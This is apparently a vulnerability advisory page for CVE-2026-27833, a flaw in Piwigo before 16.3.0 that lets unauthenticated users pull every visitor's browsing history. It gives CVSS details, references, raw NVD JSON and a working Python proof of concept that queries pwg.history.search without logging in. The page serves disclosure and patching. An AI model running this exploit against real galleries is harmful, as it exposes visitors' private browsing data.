CVE-2026-27833

Description

Piwigo is an open source photo gallery application for the web. Prior to version 16.3.0, the pwg.history.search API method in Piwigo is registered without the admin_only option, allowing unauthenticated users to access the full browsing history of all gallery visitors. This issue has been patched in version 16.3.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:* - VULNERABLE

Piwigo < 16.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via pwg.history.search
# Description: PoC to retrieve browsing history without authentication

target_url = "http://localhost/ws.php"  # Replace with actual target

# The vulnerable API payload
payload = {
    "method": "pwg.history.search",
    "format": "json"
}

try:
    print("[*] Attempting to retrieve browsing history...")
    response = requests.post(target_url, data=payload, timeout=10)
    
    if response.status_code == 200:
        data = response.json()
        if "result" in data and data["stat"] == "ok":
            print("[+] Exploit successful! Browsing history data:")
            print(data)
        else:
            print("[-] Request sent but unexpected response format.")
    else:
        print(f"[-] Failed to connect. Status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27833
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27833
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27833/
[4] VulDB https://vuldb.com/cve/CVE-2026-27833
[5] https://github.com/Piwigo/Piwigo/commit/d05c16561ce3692ca922199f8c8d7b1a45893f1c
[6] https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2
[7] https://piwigo.org/release-16.3.0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27833", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:25.863", "lastModified": "2026-04-09T21:14:48.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Piwigo is an open source photo gallery application for the web. Prior to version 16.3.0, the pwg.history.search API method in Piwigo is registered without the admin_only option, allowing unauthenticated users to access the full browsing history of all gallery visitors. This issue has been patched in version 16.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.3.0", "matchCriteriaId": "3502BA46-5475-47BC-BA8F-F9456A836F1A"}]}]}], "references": [{"url": "https://github.com/Piwigo/Piwigo/commit/d05c16561ce3692ca922199f8c8d7b1a45893f1c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://piwigo.org/release-16.3.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}